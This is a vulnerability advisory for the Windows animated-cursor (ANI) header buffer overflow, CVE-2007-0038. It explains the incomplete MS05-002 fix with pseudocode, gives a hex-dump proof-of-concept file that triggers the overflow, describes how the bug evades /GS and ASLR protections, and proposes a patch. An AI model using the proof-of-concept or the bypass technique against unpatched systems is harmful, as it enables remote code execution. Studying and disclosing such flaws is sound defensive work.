Windows ANI header buffer overflow

CVE-2007-0038

Vendor notification: Dec 20, 2006

Public disclosure: Mar 29, 2007
Vendor patch: MS07-017

Systems affected

  • Windows NT
  • Windows 2000
  • Windows XP
  • Windows 2003
  • Windows Vista

Overview

There is a buffer overflow in the USER32.DLL code responsible for loading animated cursor (ANI) files. This vulnerability can be exploited by a malicious web page or HTML email message and results in remote code execution with the privileges of the logged-in user. The vulnerable code is present in all versions of Windows up to and including Windows Vista. All applications that use the standard Windows API for loading cursors and icons are affected. This includes Windows Explorer, Internet Explorer, Mozilla Firefox, Outlook and others.

Microsoft fixed a closely related vulnerability with the MS05-002 security update, but their fix was incomplete. I was able to bypass the MS05-002 patch and develop an exploit that works on fully-patched Windows systems. The exploit was later released as part of the Metasploit framework.

For more information about the reverse engineering process behind the discovery of this vulnerability, see my presentation Reverse Engineering and the ANI Vulnerability.

Technical details

The ANI file format is used for storing animated cursors. The format is based on the RIFF multimedia file format and consists of a series of tagged chunks containing variable sized data. Each chunk starts with a 4 byte ASCII tag, followed by a dword specifying the size of the data contained in the chunk.

struct ANIChunk
{
    char  tag[4];        // ASCII tag
    DWORD size;          // length of data in bytes
    char  data[size];    // variable sized data
}

One of the chunks in an ANI file is the anih chunk, which contains a 36-byte animation header structure. The buffer overflow fixed in MS05-002 was in the LoadCursorIconFromFileMap function. The vulnerable code did not validate the length of the anih chunk before reading the chunk data into fixed size buffer on the stack. The pseudocode of the vulnerable function is given below:

int LoadCursorIconFromFileMap(struct MappedFile* file, ...)
{
    struct ANIChunk  chunk;
    struct ANIHeader header;        // 36 byte structure

    ...

    // read the first 8 bytes of the chunk
    ReadTag(file, &chunk);

    if (chunk.tag == 'anih') {

+       if (chunk.size != 36)       // added in MS05-002
+           return 0;

        // read chunk.size bytes of data into the header struct
        ReadChunk(file, &chunk, &header);

For more information about the MS05-002 vulnerability, please refer to the eEye advisory that describes the issue in great detail.

If the animation header is valid, LoadCursorIconFromFileMap will call the LoadAniIcon function to process the rest of the chunks in the ANI file. LoadAniIcon uses the same ReadTag and ReadChunk functions as LoadCursorIconFromFileMap and contains the same vulnerability in the code that reads the anih header. This vulnerability was left unpatched in the MS05-002 security update.

int LoadAniIcon(struct MappedFile* file, ...)
{
    struct ANIChunk  chunk;
    struct ANIHeader header;        // 36 byte structure

    ...

    while (1) {
        // read the first 8 bytes of the chunk
        ReadTag(file, &chunk);
        
        switch (chunk.tag) {
            case 'seq ':
                ...
                
            case 'LIST':
                ...
                
            case 'rate':
                ...

            case 'anih':
                // read chunk.size bytes of data into the header struct
                ReadChunk(file, &chunk, &header);

This code relies on the check in LoadCursorIconFromFileMap to catch the malformed anih chunk before it reaches the LoadAniIcon function. Unfortunately, LoadCursorIconFromFileMap validates only the first anih chunk, but LoadAniIcon processes all chunks in the file. By creating a file with two anih chunks, one valid and one malformed, it is possible to reach the vulnerable code in LoadAniIcon.

Reading the second anih chunk with the ReadChunk function will result in a classic buffer overflow, overwriting the return address of LoadAniChunk and allowing the attacker to take control of the code execution.

Proof of concept

The following .ANI file will trigger the vulnerability when the folder containing it is opened in Windows Explorer:

00000000   52 49 46 46  90 00 00 00  41 43 4F 4E  61 6E 69 68   RIFF....ACONanih
00000010   24 00 00 00  24 00 00 00  02 00 00 00  00 00 00 00   $...$...........
00000020   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ................
00000030   00 00 00 00  01 00 00 00  61 6E 69 68  58 00 00 00   ........anihX...
00000040   41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41   AAAAAAAAAAAAAAAA
00000050   41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41   AAAAAAAAAAAAAAAA
00000060   00 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41   .AAAAAAAAAAAAAAA
00000070   41 41 41 41  41 41 41 41  41 41 41 41  00 00 00 00   AAAAAAAAAAAA....
00000080   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ................
00000090   42 42 42 42  43 43 43 43                             BBBBCCCC

Exploitation

The exploitation of this vulnerability is interesting in light of the protection features built in the latest versions of Windows XP, 2003 and Vista. It is a stack overflow and should be detected by the /GS security check. Unfortunately, the Visual Studio compiler adds the /GS check only to functions that contain certain types of arrays, assuming that most buffer overflows are a result of out-of-bounds array access. The LoadAniIcon function uses a structure as a destination buffer for the data it reads and as a result its return address is not protected by the /GS stack check. This allows an attacker to overwrite the return address and take control of the program execution on Windows XP SP2, 2003 and Vista in the same way as on Windows 2000.

In addition to the missing /GS check, the vulnerable code in USER32.DLL is wrapped in an exception handler that can recover from access violations. If the exploit is unsuccessful, for example due to the Vista ASLR, the process will not terminate and the attacker can simply try again. This gives the attacker an easy way to bypass the ASLR protection and increase the reliability of the exploit.

Solution

The call to ReadChunk in the LoadAniIcon function should be preceeded by a check similar to the one introduced in MS05-002:

if (chunk.size != 36)
    return 0;

ReadChunk(file, &chunk, &header);